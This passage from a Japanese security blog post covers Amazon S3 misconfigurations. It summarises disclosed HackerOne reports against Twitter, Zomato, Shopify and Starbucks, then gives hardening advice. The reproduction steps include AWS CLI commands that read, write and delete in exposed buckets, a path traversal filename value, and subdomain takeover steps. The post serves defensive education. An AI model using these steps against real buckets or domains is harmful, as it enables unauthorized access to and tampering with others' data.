今回の対策案の例は、以下のように使用していない S3 バケットを削除し、Route53 に登録されたままの DNS Entry を削除します。

ここをクリックすると対策案の手順が表示されます

# 使用していない S3 バケットを削除する
aws s3 rb s3://assets.flatt-demo.net --force
# Route53 に関連しているホストゾーンの一覧を表示する
aws route53 list-hosted-zones

# Route53 に関連しているホストゾーンの該当のレコードの詳細を表示する
aws route53 list-resource-record-sets --hosted-zone-id ********************

delete-record.json

{
    "Comment": "Delete subdomain",
    "Changes": [
        {
            "Action": "DELETE",
            "ResourceRecordSet": {
                "Name": "assets.flatt-demo.net.",
                "Type": "A",
                "AliasTarget": {
                    "HostedZoneId": "********************",
                    "DNSName":"s3-website-ap-northeast-1.amazonaws.com.",
                    "EvaluateTargetHealth": true
                }
            }
        }
    ]
}
# Route53 から該当の DNS Record に対して削除するポリシーを反映する
aws route53 change-resource-record-sets --hosted-zone-id ******************** --change-batch file://alias-record-set.json

Amazon S3 の脆弱な使い方の報告事例

HackerOne というバグバウンティプラットフォームでの S3 に関する脆弱性報告では、実際に以下のような報告書が公開されています。

開発環境ごとに用意された S3 バケットの不正操作が可能 (Twitter)

この報告によると、Twitter が所有する「niche-s3-development」と「niche-s3-staging」と「niche-s3-production」という3つの S3 バケットが誰でも AWS CLI を使用して読み取り・書き込み・削除などの操作が可能な状態でした。そのため第三者は、S3 バケットを乗っ取ることが可能でした。

ここをクリックすると詳細が表示されます

今回の S3 バケット内にはログファイルが含まれていたようですが、それらにはプライベートアクセス許可が設定されていたようで第三者は閲覧不可能でした。もしアクセス許可が設定されていなかった場合、第三者にログファイルも閲覧・入手されていた可能性があります。

また、今回のように本番環境の S3 バケット名から開発環境用やステージング環境用の S3 バケット名を推測して特定することができる可能性があります。

実際の再現手順は以下のようになります。

# S3 バケット内の全てのファイルを表示する
aws s3 ls s3://niche-s3-production

# S3 バケットのファイルをダウンロードする
aws s3 cp s3://niche-s3-production/[PATH]/[FILE] ./

# S3 バケットにファイルをアップロードする
aws s3 cp test.txt s3://niche-s3-production

# S3バケット内のファイルを削除する
aws s3 rm s3://niche-s3-production/[PATH]/[FILE]

このような状態の S3 バケットにおける脅威としては、以下のようなことが考えられます。

  • S3 バケット内の公開を意図しないファイルから情報漏洩
    • バケット名の推測で他の S3 バケットからの情報漏洩
  • S3 バケットの不正操作
    • ファイルの書き込み・上書き・削除など
    • マルウェアをアップロードすることでホストとして提供させる

そのため、S3 バケットは本番環境以外の開発環境用やステージング環境用の S3 バケットも同様に適切な権限の設定をする必要があることがわかります。

チャットにアップロードされたすべての画像の閲覧が可能 (Zomato)

この報告によると、Zomato が所有する「********images」という S3 バケットが誰でも閲覧可能な状態でした。

ここをクリックすると詳細が表示されます

この S3 バケットは、 Zomato が提供するサービスにあるチャット機能でユーザーがアップロードした画像を格納していました。アプリの仕様上、他人のチャットでアップロードされた画像が閲覧できることは問題のため報告が認められました。もしユーザーが機微な情報を含む画像をアップロードしていた場合、第三者に画像を入手され閲覧されていた可能性があります。

実際の再現手順は以下のようになります。

# AWS CLI で特定の月の画像一覧を表示する
aws s3 ls s3://********images/2019/1/

# ブラウザ上からアクセスして画像を表示する
https://s3-ap-southeast-1.amazonaws.com/********images/2019/1/{imageid}

このような状態の S3 バケットにおける脅威としては、以下のようなことが考えられます。

  • チャットでアップロードされた他人の画像を不正閲覧することによる情報漏洩

そのため、S3 バケットの権限はアプリケーションの仕様に合う形で適切にアクセス制御の設定をする必要があることがわかります。

iOS アプリでアップロードされた画像の閲覧が可能 (Shopify)

この報告によると、Shopify が所有する「ping-api-production」という S3 バケットが誰でも閲覧可能な状態でした。

ここをクリックすると詳細が表示されます

この S3 バケットは、Shopify Ping というスマホアプリで iOS アプリにある共有画像機能において、アップロードされた画像が格納されていました (上記の報告においては iOS アプリが対象とされていたためこのような書き方をしていますが、Android アプリでも同じバケットが利用されていた可能性は十分にあります)。

アプリの仕様上、他人の共有画像機能でアップロードした画像が閲覧できることは問題のため報告が認められました。もしユーザーが機微な情報を含む画像をアップロードしていた場合、第三者に画像を入手され閲覧されていた可能性があります。

実際の再現手順は以下のようになります。

# ブラウザ上からアクセスして画像一覧を表示する
https://ping-api-production.s3.us-west-2.amazonaws.com

## 直接画像へのリンクにブラウザ上からアクセスすることで画像を表示する
https://ping-api-production.s3.us-west-2.amazonaws.com/oks****** 

このような状態の S3 バケットにおける脅威としては、以下のようなことが考えられます。

  • iOS アプリの共有画像機能にアップロードされた他人の画像を不正閲覧することによる情報漏洩

そのため、スマートフォンアプリで S3 バケットを扱う場合も Web アプリケーションと同様に仕様に合う形で適切にアクセス制御の設定をする必要があることがわかります。

Path Traversal による S3 バケット内の任意の画像の閲覧が可能 (Shopify)

この報告によると、Shopify が所有する「https://myhackeronestore.myshopify.com/」という Web サイトでアップロードしたファイルにアクセスするリンクを生成する機能に Path Traversal という脆弱性がありました。

ここをクリックすると詳細が表示されます

Path Traversal (CWE-22)とは、ファイルの参照の仕組みを悪用して公開を意図しないファイルを不正に読み取ることができる脆弱性です。それを悪用することで、アップロードされたファイルを格納している「shopify-delivery-app-storage」という S3 バケット内にある任意のファイルにアクセスできる URL を生成させてアクセスすることができました。

実際の再現手順は以下のようになります。

  1. ユーザーA(被害者)は、https://myhackeronestore.myshopify.com/にある自分のショップの製品に画像1(a.png)をアップロードする
  2. その際の画像が、以下のような形で S3 バケットにアップロードされる
    • s3://shopify-delivery-app-storage/files/myhackeronestore.myshopify.com/5682196162/a.png
  3. ユーザーB(攻撃者)は、同じように自分のショップの製品に画像2(b.png)をアップロードし、パラメータattachment[filepath]b.png から 「b.png/../../../../files/myhackeronestore.myshopify.com/5682196162/a.png」に変更してリクエストを送信する
  4. ユーザーB(攻撃者)は、アップデートしたファイルの手動ダウンロードリンクで画像先のリンクを生成する
  5. 生成されたリンクにアクセスすると、ファイル名として「b.png/../../../../files/myhackeronestore.myshopify.com/5682196162/a.png」と表示され、ダウンロードすると第三者であるユーザーBがユーザーAのアップロードした画像の a.png を入手することができる

このような状態の S3 バケットにおける脅威としては、以下のようなことが考えられます。

  • アップロードされたファイルを Path Traversal を悪用して S3 バケット内の任意のファイルを閲覧することによる情報漏洩

そのため、S3 バケット自体のアクセス制御が Web アプリケーションの仕様に合った設定をしていても、Web アプリケーション側に潜む脆弱性がある場合、S3 バケットのアクセス制御を回避することが可能なため、S3 バケットの設定だけでなく Web アプリケーション側のソースコードもセキュリティ対策をする必要があることがわかります。

S3 のサブドメインの乗っ取り (Starbucks)

この報告によると、Starbucks が所有する「happymondays.starbucks.com」という S3 バケットで作られているサブドメインの乗っ取り(Subdomain Takeover)が可能な状態でした。

ここをクリックすると詳細が表示されます

Subdomain Takeover とは、DNS (Domain Name System)の設定不備でドメイン名の管理権限を保有しない第三者が該当のサブドメインを乗っ取ることができる問題です。

実際の再現手順は以下のようになります。

  1. ブラウザから happymondays.starbucks.com にアクセスすると「404 Not Found」が表示される
  2. コマンドラインで dig コマンドを使って DNS の 設定を確認する
    • dig happymondays.starbucks.com
  3. 設定からサブドメインに紐づいている S3 バケットのリージョンを確認する
    • happymondays.starbucks.com. 86399 IN CNAME happymondays.starbucks.com.s3-website-us-east-1.amazonaws.com.
  4. 自分の AWS 環境に同じ S3 バケット名(happymondays.starbucks.com)を作成して、適当な HTML ファイル(index.html)をアップロードする
  5. ブラウザから happymondays.starbucks.com にアクセスすることで先程アップロードした HTML ファイルが表示されて、S3 バケットを乗っ取れたことが確認できる

このような状態の S3 バケットにおける脅威としては、以下のようなことが考えられます。

  • サブドメイン(S3 バケット)の乗っ取り
    • 悪意のある JavaScript のコードを含むファイルによる Cookie の詐取
    • フィッシングページ
    • マルウェアの配布

そのため、使用していない S3 バケットのサブドメインの DNS entry を削除するなど S3 バケットの DNS 設定を適切に管理する必要があるとわかります。

Amazon S3 におけるセキュリティ対策

S3 に関する適切な設定をすべき観点やセキュリティ機能などは、主に以下のようなものがあります。

セキュリティ対策

アクセス管理

S3 のアクセス管理において、アクセスポリシーを適切に設定するようにしてください。

特に以下のポリシー要素の定義に注意してください。

  • Principal のアクセスを許可するユーザーの対象範囲
    • 不適切に Principal 内で 「AWS: *」と設定しない
  • ActionResource の「最小特権の原則」に従った設定
    • Effect: Allow の場合、不適切に「Action: *」や「 Resource: *」と設定しない
  • Resource のアクセスを許可する S3 バケットの対象範囲
    • 不適切に Resource 内で 「*」と設定しない

詳しくは「Amazon S3 での Identity and Access Management」をご覧ください。

また、ユーザーに最小限の特権アクセスを実装する場合、以下のメカニズムを S3 リソースに対して適した形で採用してください。

詳しくは「アクセスポリシーのガイドライン」をご覧ください。

IAM ロール

IAM ロールとは、ユーザーや他の AWS サービス、アプリケーションに AWS サービスやリソースへのアクセス権限を付与することができる IAM アイデンティティです。EC2 や Lambda などの AWS サービスやアプリケーションが S3 のリソースにアクセスする場合、直接 AWS サービスやアプリケーションにクレデンシャルを保存しないで適切に IAM ロールを使用して、アクセス権限を付与してください。

もし他の AWS サービスやアプリケーションに S3 のリソースに対するアクセス権限のクレデンシャルを直接保存していた場合、EC2 や Lambda に対する脆弱性攻撃や不適切なクレデンシャルの管理によって、クレデンシャルが漏洩し S3 のリソースに対して不正アクセスが行われる可能性があります。

そのため、EC2 や Lambda などの AWS サービスやアプリケーションから S3 リソースに対するアクセス権限の付与は、IAM ロールを使用してください。

また、IAM ロールは「IAM でのセキュリティのベストプラクティス」の「最小限の特権を認める」にあるように、最小限のアクセス権を付与するようにしてください。

詳しくは「IAM ロール」をご覧ください。

アプリケーション

AWS SDK を使用した S3 の署名付き URL の生成やアプリケーションから S3 を扱う場合において、Web アプリケーションと同様にセキュリティ的に安全なコードを実装するようにしてください。

特に S3 を扱うアプリケーションのソースコードでは、Path Traversal に注意してください。対策として、アプリケーション側で S3 バケット内のパスの指定するなどしてください。

また、Path Traversal の対策以外にも以下の点も取り入れることをお勧めします。

  • アップロードされるファイルの検証
    • Webアプリケーションでアップロードされる際のファイルの検証
    • Lambdaなどでアップロードされたファイルのサイズや形式の検証

これらの知識を実践的なスキルとして身につけるには、Flatt Security が提供する「KENRO」がおすすめです。Directory Traversal など Web アプリケーションの代表的な脆弱性10個に関して、脆弱なソースコードを修正するなどのハンズオンを通して学ぶことができます。

セキュリティ機能

S3 のサービスには、以下のようにいくつかセキュリティ機能があります。これらを上手く活用することで、より安全に S3 バケットを使用することができるため、活用することをお勧めします。

  • パブリックアクセスブロック
  • バージョニング
  • オブジェクトロック
  • MFA Delete
  • 暗号化

パブリックアクセスブロック

パブリックアクセスブロックとは、S3 のリソースに対して管理者の意図しないデータの公開を防ぐことができる機能です。

S3 のパブリックアクセスブロックが有効の場合、アカウント管理者やバケット所有者は S3 のリソースへのパブリックアクセスを制限する一元的な管理を簡単に設定し、リソースがどのように作成されたかに関係なく強制的に適用することができます。

詳しくは「Amazon S3 ストレージへのパブリックアクセスのブロック」をご覧ください。

バージョニング

バージョニングとは、同じ S3 バケット内でオブジェクトの複数のバリアントを保持する手段のことで、S3 バケットに保存されたすべてのオブジェクトのすべてのバージョンを保存・取得・復元することができます。バージョニングは S3 のバケット単位で設定することができ、ステータスが「無効・有効・停止」の3つあります。デフォルトでは無効な状態となっています。

バージョニングが無効の場合、もし意図しない削除や誤った上書き、アプリケーションの障害時に S3 バケットを以前の状態に復元することができません。

そのため、バージョニングを有効化することをお勧めします。

詳しくは「S3 バケットでのバージョニングの使用」をご覧ください。

オブジェクトロック

オブジェクトロックとは、S3 バケットに保存するオブジェクトに対して WORM (Write Once Read Many) モデルを提供する機能で、これによりオブジェクトが削除または上書きされることを一定期間または無期限に防止することができます。S3 バケットのオブジェクトロックを有効化にすると、自動的にバージョニングも有効化になります。

オブジェクトロックを活用することで、S3 バケット内のデータの誤った削除や不適切な削除・上書きを防ぐことができます。また、CloudTrail などのログを保護するためにオブジェクトロックを使用したりもします。

オブジェクトロックには、以下の2つのモードがあります。

  • ガバナンスモード
    • s3:BypassGovernanceRetention 権限を持たないユーザーは、オブジェクトの上書きや削除ができない
  • コンプライアンスモード
    • すべてのユーザー(ルートユーザーも含む)は、オブジェクトの上書きや削除ができない

コンプライアンスモードは、一度ロックをすると保持期間を過ぎるまでオブジェクトの削除ができなくなります。そのため、事前にガバナンスモードで保持期間の設定テストをすると良いと思われます。もし、無期限にオブジェクトをロックしたい場合、リーガルホールドという機能を使うことで削除するまでロックを有効にすることができます。

詳しくは「S3 オブジェクトロックの使用」をご覧ください。

MFA Delete

MFA Delete とは、バージョニングのオプション機能で、特定のバージョンを削除したりバージョニング状態を変更したりするリクエストに対して MFA (多要素認証)デバイスによる認証を必須とする機能です。

MFA Delete が無効の場合、もし誤って S3 バケットを削除してしまったり、S3 バケットの削除権限を持つ IAM ロールのクレデンシャルなどが漏洩した際に重要な S3 バケットを意図しない削除から保護することができません。特に CloudTrail などのログを管理する S3 バケットや重要な顧客情報が含まれる S3 バケットが削除されると、インシデント調査が不可能になる可能性や顧客からの信頼失墜につながる恐れがあります。

そのため、バージョニングのオプション機能として MFA Delete を有効化することをお勧めします。

詳しくは「MFA 削除の設定」をご覧ください。

暗号化

S3 における暗号化は、以下の2つがあります。

  • 送信時のデータ
    • Amazon S3 との間でデータを送受信するとき
  • 保管時のデータ
    • Amazon S3 データセンター内のディスクに格納されるとき

詳しくは「暗号化を使用したデータの保護」をご覧ください。

ここをクリックすると送信時と保管時の暗号化に関する詳細が表示されます

送信時のデータ

S3 バケットのデータの送受信では、HTTPS (TLS) を利用した暗号化をすることができます。

S3 バケットとの通信に HTTP の利用が許可されている(暗号化を強制していない)場合、攻撃者が中間者攻撃または同様の攻撃を使用して、ネットワークトラフィックの盗聴や操作を行う可能性があります。

そのため、送信時のデータに関しては、HTTP 通信を明示的に拒否し HTTPS 通信のみを許可する設定にして、暗号化の強制化をお勧めします。設定では、S3 バケットポリシーで「aws:SecureTransport」の条件を使用して HTTPS (TLS)を介した暗号化接続のみを許可してください。

ただし、S3 バケットに静的ウェブサイトのホスティング機能が有効化されている場合、クライアントと S3 バケット間の通信に HTTPS (TLS) を利用できません。その場合は、「CloudFront を使用して、Amazon S3 でホストされた静的ウェブサイトを公開するにはどうすればよいですか?」を参考にし、SSL を設定した CloudFront を用いた静的ウェブサイトの公開を行うようにしてください。

保管時のデータ

S3 バケットのデータの保管では、大きく「サーバー側の暗号化」と「クライアント側の暗号化」があります。

  • サーバー側の暗号化
    • データセンター内のディスクに保存する前にサーバー側でデータを暗号化し、ダウンロードする際に復元する
    • 暗号化:SSE-S3, SSE-KMS, SSE-C
  • クライアント側の暗号化
    • クライアント側でデータを暗号化し、暗号化したデータを S3 にアップロードする
    • 暗号化:クライアント側の暗号化 (CSE)

S3 のバケットに保存されているデータが暗号化されていない場合、データセンターにおける情報漏洩等が発生した際に攻撃者に S3 バケット内のデータを参照される可能性があります。

そのため、保管時のデータに関しては、データの暗号化を検討することをお勧めします。

モニタリングや監査

S3 におけるモニタリングや監査には、以下のような AWS サービスを有効に活用することをお勧めします。

  • Amazon CloudWatch
  • AWS CloudTrail
  • AWS Config
  • Amazon Macie

Amazon CloudWatch

Amazon CloudWatch とは、AWS が提供するフルマネージドな運用監視サービスで、AWS の各種リソースの監視をします。

S3 に関しては、ストレージデータやリクエストメトリクス、レプリケーションに関する情報を収集し、モニタリングすることが可能です。 また、S3 の利用状況を可視化することができる「Amazon S3 Storage Lens」という機能があり、このメトリクスも CloudWatch で運用状況を一元的に表示することもできます。

詳しくは「Amazon CloudWatch によるメトリクスのモニタリング」をご覧ください。

AWS CloudTrail

AWS CloudTrail とは、ユーザーアクティビティと API の使用状況をログに記録するサービスで、イベント設定に応じてログを記録できます。

S3 には Amazon S3 コンソールからの呼び出しと Amazon S3 API へのコード呼び出しを含む、Amazon S3 の API コールのサブセットをイベントとして記録します。CloudTrail データイベントを使用することで、バケットやオブジェクトレベルのリクエストに関する情報を取得することもできます。また、CloudTrail で収集された情報から S3 に対するリクエスト、リクエスト元の IP アドレス、リクエストの実行者、リクエスト日時などの詳細を把握することができます。

ベストプラクティスとしては、AWS CloudTrail データイベントバケットに対してライフサイクルポリシーを作成することをお勧めしています。

詳しくは「AWS CloudTrail を使用した Amazon S3 API コールのログ記録」をご覧ください。

AWS Config

AWS Config とは、AWS リソースの設定を評価、監査、審査できるサービスで、継続的にモニタリングや記録をして設定したルールに対して評価をします。

S3 には S3 バケットの作成・更新・削除を記録し通知したり、S3 バケットのリソースタイプの属性も記録することで評価されます。

現在 S3 には以下のマネージドルールをサポートしています。

ここをクリックすると S3 のマネージドルール一覧が表示されます

  • s3-account-level-public-access-blocks
    • 必要なパブリックアクセスブロック設定がアカウントレベルから設定されているかを設定変更時に確認する
  • s3-account-level-public-access-blocks-periodic
    • 必要なパブリックアクセスブロック設定がアカウントレベルから設定されているかを定期的に確認する
  • s3-bucket-acl-prohibited
    • S3 バケットが ACL 経由でのユーザー許可を許容するかを設定変更時に確認する
  • s3-bucket-blacklisted-actions-prohibited
    • バケットポリシーがブラックリストに登録されたバケットレベルおよびオブジェクトレベルのアクションを、バケット内のリソースで他の AWS アカウントのプリンシパルに対して実行することを許可していないことを設定変更時に確認する
  • s3-bucket-default-lock-enabled
    • S3 バケットのロックがデフォルトで有効になっているかを設定変更時に確認する
  • s3-bucket-level-public-access-prohibited
    • S3 バケットがパブリックアクセス可能かを設定変更時に確認する
  • s3-bucket-logging-enabled
    • S3 バケットに対してログ記録が有効になっているかを設定変更時に確認する
  • s3-bucket-policy-grantee-check
    • S3 バケットによって許可されたアクセスが、指定した任意の AWS プリンシパル、フェデレーティッドユーザー、サービスプリンシパル、IP アドレス、または VPC によって制限されていることを設定変更時に確認する
  • s3-bucket-policy-not-more-permissive
    • バケットポリシーが指定するコントロールでアカウント間で他のアクセスを許可していないかを設定変更に確認する
  • s3-bucket-public-read-prohibited
    • S3 バケットがパブリックな読み取り権限のアクセスを許可していないかを設定変更時と定期的に確認する
  • s3-bucket-public-write-prohibited
    • S3 バケットがパブリックな書き込み権限のアクセスを許可していないかを設定変更時と定期的に確認する
  • s3-bucket-replication-enabled
    • S3 バケットでクロスリージョンレプリケーションが有効になっているかを設定変更時に確認する
  • s3-bucket-server-side-encryption-enabled
    • S3 バケットでデフォルトの暗号化が有効になっているか、またはバケットポリシーで put-objectAES-256 または AWSKeyManagementService を使用するサーバー側の暗号化なしでリクエストを明示的に拒否しているかを設定変更時に確認する
  • s3-bucket-ssl-requests-only
    • S3 バケットに SSL を使用するリクエストを要求するポリシーがあるかを設定変更時に確認する
  • s3-bucket-versioning-enabled
    • S3 バケットに対してバージョニングが有効になっているかを設定変更時に確認する
  • s3-default-encryption-kms
    • S3 バケットが AWS KMS で暗号化されているかを設定変更時に確認する
  • s3-event-notifications-enabled
    • S3 バケットでイベント通知が有効になっているかを設定変更時に確認する
  • s3-last-backup-recovery-point-created
    • S3 にリカバリポイントが作成されたかを定期的に確認する
  • s3-lifecycle-policy-check
    • S3 バケットにライフサイクルルールが設定されているかを設定変更時に確認する
  • s3-resources-protected-by-backup-plan
    • S3 バケットがバックアッププランで保護されているかを定期的に確認する
  • s3-version-lifecycle-policy-check
    • バージョニングが有効化された S3 バケットにライフサイクルポリシーが設定されているかを設定変更時に確認する

詳しくは「AWS Config マネージドルール」や「サポートされているリソースタイプ 」をご覧ください。

Amazon Macie

Amazon Macie とは、機械学習とパターンマッチングを使用して AWS の機密データを検出して保護するサービスです。

S3 に関しては S3 バケットに保存されているデータを自動的に発見し分類することでき、継続的な監視もすることができます。

主に Macie の機能として、以下の4つがあります。

  • データセキュリティの自動化
    • データを分析、分類、処理し、過去のパターン、データに対するユーザー認証、データアクセス場所、アクセス時間を把握する
  • データセキュリティと監視
    • 利用ログデータを監視して異常検知したり、CloudWatch Events や Lambda によってレポートされる問題を自動解決する
  • プロアクティブなデータ保護のためのデータ可視性
    • 保存データの詳細を管理者向けに可視化すると同時に、手動入力いらずで即時保護を提供する
  • データ調査とレポート
    • 管理者向けにレポーティングやアラートを構成可能にする

Macie が検出してくれる機密データは以下のようなものが該当します。

  • クレデンシャル
    • 秘密鍵や AWS Secret Access Key など
  • 財務情報
    • クレジットカード番号や銀行口座番号など
  • 個人の健康情報(PHI)
    • 健康保険番号や医療識別番号など
  • 個人を特定する情報(PII)
    • 電話番号やパスポート番号など

また、Macie には2つのデータ識別子があります。

  • AWS マネージド識別子
    • AWS が提供している機微情報検出用の定義
  • カスタマーマネージド識別子
    • ユーザーが独自に検出定義を作成して検出を可能とする

現在の Macie の制約では、マネージドな識別子の場合、日本語の検出がサポートされておらず検出することができません。そのため、カスタマーマネージドの識別子で日本語のキーワードを指定することで検出できるようにすることが必要です。

詳しくは「Amazon Macieを使用したAmazonS3データのモニタリング」や「Amazon Macieでのマネージドデータ識別子の使用」をご覧ください。

その他

Amazon CloudFront

Amazon CloudFront とは、コンテンツの配信を高速化するコンテンツ配信ネットワーク(CDN)サービスで、エッジロケーションというデータセンターの世界的ネットワークを経由してコンテンツを配信します。

S3 で CloudFront を使用すると、S3 バケットのレイテンシーとロードが軽減され、Origin Access Identity (OAI) で CloudFront 経由以外のオリジンへの S3 のファイルに対するアクセス制御をすることができます。また、S3 は直接 SSL/TLS を強要することができないため、CloudFonrt などを挟むことで HTTPS 化することができます。

CloudFront 経由で S3 のファイルにアクセスすることで、S3 のコンテンツに対するアクセス制御や S3 のオリジン間の通信で暗号化することをお勧めします。

詳しくは「オリジンアクセスアイデンティティ (OAI) を使用して Amazon S3 コンテンツへのアクセスを制限する」や「CloudFront と Amazon S3 オリジン間の通信で HTTPS を必須にする」をご覧ください。

公式ドキュメント

AWS が公開している以下の資料も S3 を使用する際に合わせて、ベストプラクティスとして確認することをお勧めします。

終わりに

本稿では、Amazon S3 の脆弱な使い方によるセキュリティリスクと対策を解説し、実際の設定不備などに関する事例についても紹介しました。

この記事を通して、AWS サービスの中でも特に設定不備を起こしやすい S3 のリスクの主な原因を把握し、S3 バケットの不適切な設定に対する適切な設定を行うだけでなく、S3 バケットを扱うアプリケーション側の脆弱性に対してもセキュリティ対策を行う必要性があることを認識して頂ければ幸いです。

Flatt Security の AWS・GCP・Azure診断 では、クラウドサービスの設定不備を確認する一般的なクラウドセキュリティ診断だけでなく、アプリケーションの仕様を踏まえ、クラウドとアプリケーションを総合的に診断するメニューも提供しています。

そのような総合的な診断の事例として SmartHR 様の診断事例がございますので、是非インタビュー記事をご覧ください。GCP の事例ですが、もちろん今回取り上げた AWS でも同様の診断が可能です。

様々なリソースを活用して開発を行う現代において、包括的にセキュリティ対策を行う難易度は増加しています。是非、専門家の視点で調査を行うセキュリティ診断の実施をご検討ください。

数百万円からスタートの大掛かりなものばかりを想像されるかもしれませんが、上記のデータが示すように、診断は幅広いご予算帯に応じて実施が可能です。ご興味のある方向けに下記バナーより料金に関する資料もダウンロード可能です。

また、Flatt Security はセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式 Twitter のフォローをぜひお願いします!

twitter.com

ここまでお読みいただきありがとうございました。